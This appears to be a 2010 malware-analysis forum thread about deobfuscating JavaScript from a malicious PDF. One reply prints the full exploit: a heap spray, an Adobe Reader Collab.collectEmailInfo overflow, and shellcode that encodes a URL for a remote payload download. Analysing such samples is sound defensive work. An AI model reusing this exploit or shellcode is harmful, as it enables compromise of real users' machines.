Malware Domain List

Malware Related => Malware Analysis => Topic started by: d3t0n4t0r on April 06, 2010, 07:45:49 am

Title: need help deobfuscate this javascript code
Post by: d3t0n4t0r on April 06, 2010, 07:45:49 am
Hello,

Need help on deobfuscating javascript code attached with this post.
Thanks in advance

-----
* Sorry, the jab.js file I attached previously was from other sample. The real sample for this thread is attached on my next post with .zip
Title: Re: need help deobfuscate this javascript code
Post by: SysAdMini on April 06, 2010, 07:51:42 am
Something is missing. Can you please post complete pdf file ? 

Please attach password protected zip.
Title: Re: need help deobfuscate this javascript code
Post by: d3t0n4t0r on April 06, 2010, 07:55:43 am
here are the pdf file

pass: malici0us

thanks!
Title: Re: need help deobfuscate this javascript code
Post by: d3t0n4t0r on April 06, 2010, 04:30:38 pm
I've extracted the Javascript code from the PDF, and I got this code:

Code: [Select]
if (1) {var z; var y; r=(r='lace','rep'+r); z = y = app.doc;
         y = 0;          z.syncAnnotScan ( ); y = z;var p = y['g'+'et'+'Annots']( {  nPage: 0 }) ;var s = p[0].subject; var l = s[r](/z/g, 'a%b'[r](/[ab]/g, ''));var th = event.target; s = th['unes' + 'cape'] (l) ;var e = app['ev' + 'al']; e(s);}

by referring to the PDF syntax => p[0].subject, I need to replace it with the content of object 8 in the PDF.

From the above code (including the content in object 8), I've been able to get the eval file (which is in my attachment on first post).
From here, I'm stucked to deobfuscate it to get the real malicious code.

Title: Re: need help deobfuscate this javascript code
Post by: Garlando on April 06, 2010, 05:38:23 pm
I've extracted the Javascript code from the PDF, and I got this code:

Code: [Select]
if (1) {var z; var y; r=(r='lace','rep'+r); z = y = app.doc;
         y = 0;          z.syncAnnotScan ( ); y = z;var p = y['g'+'et'+'Annots']( {  nPage: 0 }) ;var s = p[0].subject; var l = s[r](/z/g, 'a%b'[r](/[ab]/g, ''));var th = event.target; s = th['unes' + 'cape'] (l) ;var e = app['ev' + 'al']; e(s);}

by referring to the PDF syntax => p[0].subject, I need to replace it with the content of object 8 in the PDF.

From the above code (including the content in object 8), I've been able to get the eval file (which is in my attachment on first post).
From here, I'm stucked to deobfuscate it to get the real malicious code.



Code: [Select]
var vIN8_3_6Pd = new Array();
var x8Us0WG74 = 0;
var NCrvQe = "";
function nH__8_aC7N_yb(U58W__nH_HH_e, y87v____725){
  var bj__I5W_0 = y87v____725.toString();
  var VR__38D = "";
  for (var bI_72O6ig1 = 0; bI_72O6ig1 < bj__I5W_0.length; bI_72O6ig1 ++ ){
    var u_B063JLr8yS_uQ = parseInt(bj__I5W_0.substr(bI_72O6ig1, 1));
    if (!isNaN(u_B063JLr8yS_uQ)){
      u_B063JLr8yS_uQ = u_B063JLr8yS_uQ.toString(16);
      if (u_B063JLr8yS_uQ.length == 1){
        u_B063JLr8yS_uQ = "0" + u_B063JLr8yS_uQ;
      }
      else if (u_B063JLr8yS_uQ.length != 2){
        u_B063JLr8yS_uQ = "00";
      }
      VR__38D = u_B063JLr8yS_uQ + VR__38D;
    }
  }
  while (VR__38D.length < 8){
    VR__38D = "0" + VR__38D;
  }
  var L_3Jc4q = U58W__nH_HH_e.toString(16);
  if (L_3Jc4q.length == 1){
    L_3Jc4q = "0" + L_3Jc4q;
  }
  else if (L_3Jc4q.length != 2){
    L_3Jc4q = "00";
  }
  VR__38D = "3" + L_3Jc4q + "P" + VR__38D;
  return VR__38D;
}
function N__U_f_rE2_3(S500u7X__D0Jk, YC_Enh_SJ3_G2D){
  var Pgj6a_mX_856_x5 = new Array("");
  var L3e_X3tP_1bvb_d = S500u7X__D0Jk;
  var J07EY_a_7;
  if ((J07EY_a_7 = S500u7X__D0Jk.lastIndexOf("%u00")) !=  - 1){
    if (J07EY_a_7 + 6 == S500u7X__D0Jk.length){
      Pgj6a_mX_856_x5[0] = S500u7X__D0Jk.substr(J07EY_a_7 + 4, 2);
      L3e_X3tP_1bvb_d = S500u7X__D0Jk.substring(0, J07EY_a_7);
    }
  }
  J07EY_a_7 = 1;
  for (bI_72O6ig1 = 0; bI_72O6ig1 < YC_Enh_SJ3_G2D.length; bI_72O6ig1 ++ ){
    var wqwVBD_no6I = YC_Enh_SJ3_G2D.charCodeAt(bI_72O6ig1).toString(16);
    if (wqwVBD_no6I.length == 1){
      wqwVBD_no6I = "0" + wqwVBD_no6I;
    }
    Pgj6a_mX_856_x5[J07EY_a_7] = wqwVBD_no6I;
    J07EY_a_7++;
  }
  bI_72O6ig1 = Pgj6a_mX_856_x5[0].length ? 0 : 1;
  Pgj6a_mX_856_x5[J07EY_a_7] = "00";
  Pgj6a_mX_856_x5[J07EY_a_7 + 1] = "00";
  J07EY_a_7 += 2;
  if ((Pgj6a_mX_856_x5.length - bI_72O6ig1) % 2){
    Pgj6a_mX_856_x5[J07EY_a_7] = "00";
  }
  while (bI_72O6ig1 < Pgj6a_mX_856_x5.length){
    L3e_X3tP_1bvb_d += "%u" + Pgj6a_mX_856_x5[bI_72O6ig1 + 1] + Pgj6a_mX_856_x5[bI_72O6ig1
    ];
    bI_72O6ig1 += 2;
  }
  L3e_X3tP_1bvb_d += "%u0000";
  return L3e_X3tP_1bvb_d;
}
function E_b_P_T_M0(tb41K_8q, Tb_755){
  while (tb41K_8q.length * 2 < Tb_755){
    tb41K_8q += tb41K_8q;
  }
  tb41K_8q = tb41K_8q.substring(0, Tb_755 / 2);
  return tb41K_8q;
}
function ff3Y__6r(Q_bJl7ySF_ut, QA4_0m, J_u7aDi){
  var xDq_J_RH__v = 0x0c0c0c0c;
  var tb41K_8q = unescape(QA4_0m);
  var YC_Enh_SJ3_G2D = nH__8_aC7N_yb(Q_bJl7ySF_ut, J_u7aDi);
  var f_S_YD_w = unescape("
%u9090%u9090%u9090%u21eb%ub859%u9050%u9050%u6a51%u33ff%u64db%u2389%u026a%u8b59%uf3fb%u75af
%uff07%u66e7%ucb81%u0fff%ueb43%ue8ed%uffda%uffff%u0c6a%u8b59%u0c04%ub8b1%u0483%u0608%u8358
%u10c4%u3350%uc3c0");
  var S500u7X__D0Jk = "%u9050%u9050%u9050%u9050" + "
%u9090%u9090%u9090%u9090%u15e9%u0001%u5f00%ua164%u0030%u0000%u408b%u8b0c%u1c70%u8bad%u2068
%u7d80%u330c%u0374%ueb96%u8bf3%u0868%uf78b%u046a%ue859%u00a9%u0000%uf9e2%u6f68%u006e%u6800
%u7275%u6d6c%uff54%u8b16%ue8e8%u0093%u0000%ud78b%u8047%u003f%ufa75%u5747%u8047%u003f%ufa75
%uef8b%u335f%u81c9%u10ec%u0001%u8b00%u83dc%u0cc3%u5251%u6853%u0104%u0000%u56ff%u5a0c%u5159
%u8b52%u5302%u8043%u003b%ufa75%u7b81%u2efc%u6c64%u756c%u8303%u08eb%u0389%u43c7%u2e04%u6c64
%uc66c%u0843%u5b00%uc18a%u3004%u4588%u3300%u50c0%u5350%u5057%u56ff%u8310%u00f8%u1d75%u016a
%ueb83%uc70c%u7203%u6765%uc773%u0443%u7276%u3233%u43c7%u2008%u732d%u5320%u56ff%u5a04%u8359
%u04c2%u8041%u003a%u9d75%u56ff%u5108%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933
%u4149%u03ad%u33c5%u0fdb%u10be%uf238%u0874%ucbc1%u030d%u40da%uf1eb%u1f3b%ue775%u8b5e%u245e
%udd03%u8b66%u4b0c%u5e8b%u031c%u8bdd%u8b04%uc503%u5eab%uc359%ue6e8%ufffe%u8eff%u0e4e%u98ec
%u8afe%u7e0e%ue2d8%u3373%u8aca%u365b%u2f1a%u4d70%u5375%u004a%u7468%u7074%u2f3a%u6c2f%u6169
%u6e79%u786f%u746c%u7268%u632e%u6d6f%u6e2f%u6574%u472f%u4c4f%u4d44%u2e4e%u6870%u2f70%u4865
%u3931%u6136%u6533%u6336%u3056%u3031%u6630%u3630%u3030%u3630%u6652%u6265%u6532%u3639%u3132
%u3230%u6454%u3432%u6261%u3762%u3233%u3330%u306c%u3030%u0063";
  app.bQQdYV3c_7Ff = unescape(N__U_f_rE2_3(S500u7X__D0Jk, YC_Enh_SJ3_G2D));
  var P_051tG2C_1B = 0x400000;
  var M_P76__3_3FO = f_S_YD_w.length * 2;
  var Tb_755 = P_051tG2C_1B - (M_P76__3_3FO + 0x38);
  tb41K_8q = E_b_P_T_M0(tb41K_8q, Tb_755);
  var F27o_Ih = (xDq_J_RH__v - 0x400000) / P_051tG2C_1B;
  for (var oe_6I2 = 0; oe_6I2 < F27o_Ih; oe_6I2 ++ ){
    vIN8_3_6Pd[oe_6I2] = tb41K_8q + f_S_YD_w;
  }
}
function G_66khBM(){
  var noFm3e__l7_C__6 = "";
  for (bI_72O6ig1 = 0; bI_72O6ig1 < 12; bI_72O6ig1 ++ ){
    noFm3e__l7_C__6 += unescape("%u0c0c%u0c0c");
  }
  var y_K1iQ2s = "";
  for (bI_72O6ig1 = 0; bI_72O6ig1 < 750; bI_72O6ig1 ++ ){
    y_K1iQ2s += noFm3e__l7_C__6;
  }
  this .collabStore = Collab.collectEmailInfo({
    subj : "", msg : y_K1iQ2s
  }
  );
  app.clearTimeOut(x8Us0WG74);
}
function g_s1D_Ah(T__Yg53c__4IHGA){
  var u_o_q6bj = x8Us0WG74;
  if ((T__Yg53c__4IHGA >= 8 && T__Yg53c__4IHGA < 8.11) || T__Yg53c__4IHGA < 7.1){
    ff3Y__6r(23, "%u0c0c%u0c0c", T__Yg53c__4IHGA);
    G_66khBM();
  }
  if (u_o_q6bj){
    app.clearTimeOut(u_o_q6bj);
  }
}
var J_u7aDi = 0;
var vx5wEK = app.plugIns;
for (var uD3WpA7D_2A = 0; uD3WpA7D_2A < vx5wEK.length; uD3WpA7D_2A ++ ){
  var f5iX3Hc2_O = vx5wEK[uD3WpA7D_2A].version;
  if (f5iX3Hc2_O > J_u7aDi){
    J_u7aDi = f5iX3Hc2_O;
  }
}
if (app.viewerVersion == 9.103 && J_u7aDi < 9.13){
  J_u7aDi = 9.13;
}
app.l1__kd = g_s1D_Ah;
x8Us0WG74 = app.setTimeOut("app.l1__kd(" + J_u7aDi.toString() + ")", 50);


its collectEmailInfo
Title: Re: need help deobfuscate this javascript code
Post by: d3t0n4t0r on April 06, 2010, 05:51:35 pm
I try to refer at http://blog.fireeye.com/research/2010/01/pdf-obfuscation.html (http://blog.fireeye.com/research/2010/01/pdf-obfuscation.html) to deobfuscate the arguments.calle obfuscation, but the generated eval file does not contains the real code.

If possible, would you mind to share the step to deobfuscate it?
Title: Re: need help deobfuscate this javascript code
Post by: d3t0n4t0r on April 11, 2010, 03:29:14 am
After reading through the code and some reference regarding arguments.callee, I've figured out how to deobfuscate the arguments.callee tricks.
Basically if arguments.callee is assigned to a variable (for example: myarg), myarg will have the copy of the function's content.
For example;

Code: [Select]
function lala() {
var myarg = arguments.callee.toString();
document.write(myarg);
}
lala();

will print the result:
Code: [Select]
function lala() {
var myarg = arguments.callee.toString();
document.write(myarg);
}

which is starting from "function" until the last "}"

So, in the case of the sample above, by changing the value QLC_uI_xq to:

Code: [Select]
QLC_uI_xq = unescape("%66%75%6e%63%74%69%6f%6e%20%4e%5f%75%32%5f%47%31%57%45%4e%41%38%34%4c%28%54%35%76%32%45%62%45%46%2c%20%6e%34%4c%4d%68%5f%71%34%4d%74%5f%4f%31%68%44%29%7b%76%61%72%20%51%4c%43%5f%75%49%5f%78%71%20%3d%20%4e%5f%75%32%5f%47%31%57%45%4e%41%38%34%4c%5b%27%61%27%2b%27%72%67%75%6d%27%2b%27%65%6e%74%73%27%5d%5b%22%63%22%20%2b%20%22%61%7a%7a%65%65%22%5b%27%72%27%2b%27%65%70%6c%27%2b%27%61%63%65%27%5d%28%2f%7a%7a%2f%2c%20%27%6c%6c%27%29%5d%3b%51%4c%43%5f%75%49%5f%78%71%20%3d%20%51%4c%43%5f%75%49%5f%78%71%5b%22%74%22%2b%22%6f%53%22%2b%22%74%22%2b%22%72%22%2b%22%69%6e%67%22%5d%28%29%3b%76%61%72%20%63%35%35%4a%4a%62%5f%31%20%3d%20%30%3b%74%72%79%20%7b%69%66%20%28%61%70%70%29%20%7b%63%35%35%4a%4a%62%5f%31%2b%2b%3b%63%35%35%4a%4a%62%5f%31%2b%2b%3b%7d%7d%20%63%61%74%63%68%28%65%29%20%7b%20%7d%76%61%72%20%57%43%31%33%44%5f%49%5f%4b%72%4e%50%54%20%3d%20%6e%65%77%20%41%72%72%61%79%28%29%3b%69%66%20%28%54%35%76%32%45%62%45%46%29%20%7b%20%57%43%31%33%44%5f%49%5f%4b%72%4e%50%54%20%3d%20%54%35%76%32%45%62%45%46%3b%7d%20%65%6c%73%65%20%7b%76%61%72%20%4c%6f%5f%5f%36%5f%30%79%32%52%33%20%3d%20%30%3b%76%61%72%20%66%71%30%36%71%4d%30%37%5f%5f%51%65%5f%6a%66%20%3d%20%30%3b%76%61%72%20%4b%68%33%5f%32%42%47%5f%48%6d%71%30%72%20%3d%20%35%31%32%3b%76%61%72%20%54%35%78%5f%77%50%5f%33%64%20%3d%20%35%32%3b%54%35%78%5f%77%50%5f%33%64%20%3d%20%54%35%78%5f%77%50%5f%33%64%20%2d%20%34%3b%76%61%72%20%4c%32%5f%5f%5f%4f%31%48%62%47%20%3d%20%54%35%78%5f%77%50%5f%33%64%20%2b%20%39%3b%77%68%69%6c%65%28%66%71%30%36%71%4d%30%37%5f%5f%51%65%5f%6a%66%20%3c%20%51%4c%43%5f%75%49%5f%78%71%2e%6c%65%6e%67%74%68%29%20%7b%76%61%72%20%67%77%38%53%5f%72%5f%61%48%4f%20%3d%20%31%3b%76%61%72%20%56%5f%4e%38%4d%56%34%5f%76%6f%38%75%20%3d%20%51%4c%43%5f%75%49%5f%78%71%5b%27%63%27%2b%27%68%27%2b%27%61%72%43%27%2b%27%6f%64%65%41%74%27%5d%28%66%71%30%36%71%4d%30%37%5f%5f%51%65%5f%6a%66%29%3b%69%66%20%28%56%5f%4e%38%4d%56%34%5f%76%6f%38%75%20%3c%3d%20%4c%32%5f%5f%5f%4f%31%48%62%47%20%26%26%20%56%5f%4e%38%4d%56%34%5f%76%6f%38%75%20%3e%3d%20%54%35%78%5f%77%50%5f%33%64%29%20%7b%69%66%20%28%4c%6f%5f%5f%36%5f%30%79%32%52%33%20%3d%3d%20%34%29%20%7b%20%4c%6f%5f%5f%36%5f%30%79%32%52%33%20%3d%20%30%3b%20%7d%69%66%20%28%69%73%4e%61%4e%28%57%43%31%33%44%5f%49%5f%4b%72%4e%50%54%5b%4c%6f%5f%5f%36%5f%30%79%32%52%33%5d%29%29%20%7b%57%43%31%33%44%5f%49%5f%4b%72%4e%50%54%5b%4c%6f%5f%5f%36%5f%30%79%32%52%33%5d%20%3d%20%30%3b%7d%57%43%31%33%44%5f%49%5f%4b%72%4e%50%54%5b%4c%6f%5f%5f%36%5f%30%79%32%52%33%5d%20%2b%3d%20%56%5f%4e%38%4d%56%34%5f%76%6f%38%75%3b%69%66%20%28%57%43%31%33%44%5f%49%5f%4b%72%4e%50%54%5b%4c%6f%5f%5f%36%5f%30%79%32%52%33%5d%20%3e%20%35%31%32%29%20%7b%57%43%31%33%44%5f%49%5f%4b%72%4e%50%54%5b%4c%6f%5f%5f%36%5f%30%79%32%52%33%5d%20%2d%3d%20%4b%68%33%5f%32%42%47%5f%48%6d%71%30%72%3b%7d%4c%6f%5f%5f%36%5f%30%79%32%52%33%2b%2b%3b%7d%66%71%30%36%71%4d%30%37%5f%5f%51%65%5f%6a%66%2b%2b%3b%7d%7d%4c%6f%5f%5f%36%5f%30%79%32%52%33%20%3d%20%34%3b%66%6f%72%20%28%76%61%72%20%4b%5f%5f%51%45%5f%37%34%37%20%3d%20%30%3b%20%4b%5f%5f%51%45%5f%37%34%37%20%3c%20%34%3b%20%4b%5f%5f%51%45%5f%37%34%37%2b%2b%29%20%7b%69%66%20%28%57%43%31%33%44%5f%49%5f%4b%72%4e%50%54%5b%4b%5f%5f%51%45%5f%37%34%37%5d%20%3e%20%32%35%36%29%20%7b%57%43%31%33%44%5f%49%5f%4b%72%4e%50%54%5b%4b%5f%5f%51%45%5f%37%34%37%5d%20%2d%3d%20%32%35%36%3b%7d%7d%76%61%72%20%41%5f%68%35%6d%5f%4e%58%51%20%3d%20%30%3b%76%61%72%20%50%5f%32%5f%4e%79%5f%64%20%3d%20%22%22%3b%76%61%72%20%56%66%78%46%37%70%5f%33%5f%5f%5f%38%64%77%20%3d%20%30%3b%76%61%72%20%66%73%79%5f%57%35%4e%5f%5f%5f%5f%64%20%3d%20%30%3b%76%61%72%20%65%72%44%48%36%57%78%3b%76%61%72%20%75%70%36%57%5f%59%4b%4e%20%3d%20%30%3b%77%68%69%6c%65%28%56%66%78%46%37%70%5f%33%5f%5f%5f%38%64%77%20%3c%20%6e%34%4c%4d%68%5f%71%34%4d%74%5f%4f%31%68%44%2e%6c%65%6e%67%74%68%29%20%7b%76%61%72%20%73%44%62%37%5f%76%34%31%61%20%3d%20%6e%34%4c%4d%68%5f%71%34%4d%74%5f%4f%31%68%44%2e%73%75%62%73%74%72%28%56%66%78%46%37%70%5f%33%5f%5f%5f%38%64%77%2c%20%31%29%20%2b%20%22%5a%22%3b%76%61%72%20%52%33%46%45%5f%4a%5f%54%52%5f%65%20%3d%20%70%61%72%73%65%49%6e%74%28%73%44%62%37%5f%76%34%31%61%2c%20%31%36%29%3b%69%66%20%28%66%73%79%5f%57%35%4e%5f%5f%5f%5f%64%29%20%7b%65%72%44%48%36%57%78%20%2b%3d%20%52%33%46%45%5f%4a%5f%54%52%5f%65%3b%69%66%20%28%41%5f%68%35%6d%5f%4e%58%51%20%3d%3d%20%34%29%20%7b%41%5f%68%35%6d%5f%4e%58%51%20%2d%3d%20%34%3b%7d%76%61%72%20%48%79%74%37%5f%32%63%6b%61%77%37%20%3d%20%65%72%44%48%36%57%78%3b%48%79%74%37%5f%32%63%6b%61%77%37%20%3d%20%48%79%74%37%5f%32%63%6b%61%77%37%20%2d%20%28%75%70%36%57%5f%59%4b%4e%20%2b%20%32%29%20%2a%20%57%43%31%33%44%5f%49%5f%4b%72%4e%50%54%5b%41%5f%68%35%6d%5f%4e%58%51%5d%3b%69%66%20%28%48%79%74%37%5f%32%63%6b%61%77%37%20%3c%20%30%29%20%7b%48%79%74%37%5f%32%63%6b%61%77%37%20%3d%20%48%79%74%37%5f%32%63%6b%61%77%37%20%2d%20%4d%61%74%68%2e%66%6c%6f%6f%72%28%48%79%74%37%5f%32%63%6b%61%77%37%20%2f%20%32%35%36%29%20%2a%20%32%35%36%3b%7d%48%79%74%37%5f%32%63%6b%61%77%37%20%3d%20%53%74%72%69%6e%67%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%48%79%74%37%5f%32%63%6b%61%77%37%29%3b%69%66%20%28%63%35%35%4a%4a%62%5f%31%20%3d%3d%20%32%29%20%7b%50%5f%32%5f%4e%79%5f%64%20%2b%3d%20%48%79%74%37%5f%32%63%6b%61%77%37%3b%7d%20%65%6c%73%65%20%69%66%20%28%63%35%35%4a%4a%62%5f%31%20%3d%3d%20%31%29%20%7b%50%5f%32%5f%4e%79%5f%64%20%2b%3d%20%52%33%46%45%5f%4a%5f%54%52%5f%65%3b%7d%20%65%6c%73%65%20%7b%50%5f%32%5f%4e%79%5f%64%20%2b%3d%20%56%66%78%46%37%70%5f%33%5f%5f%5f%38%64%77%3b%7d%41%5f%68%35%6d%5f%4e%58%51%2b%2b%3b%66%73%79%5f%57%35%4e%5f%5f%5f%5f%64%20%3d%20%30%3b%75%70%36%57%5f%59%4b%4e%2b%2b%3b%7d%20%65%6c%73%65%20%7b%66%73%79%5f%57%35%4e%5f%5f%5f%5f%64%20%3d%20%31%3b%65%72%44%48%36%57%78%20%3d%20%52%33%46%45%5f%4a%5f%54%52%5f%65%20%2a%20%31%36%3b%7d%56%66%78%46%37%70%5f%33%5f%5f%5f%38%64%77%2b%2b%3b%7d%3b%76%61%72%20%61%62%63%64%3d%30%3b%20%3b%76%61%72%20%58%65%5f%32%51%78%74%46%34%20%3d%20%74%68%69%73%3b%58%65%5f%32%51%78%74%46%34%5b%27%65%76%27%2b%27%61%6c%27%5d%28%50%5f%32%5f%4e%79%5f%64%29%3b%7d%0d%0a");
you might be able to deobfuscate and get the final result for analysis.
The reason why I failed before is that, I got the wrong notion about arguments.callee . I thought that arguments.callee copy ALL the content inside the eval.001.log, but instead, it just copy the function's content.. LOL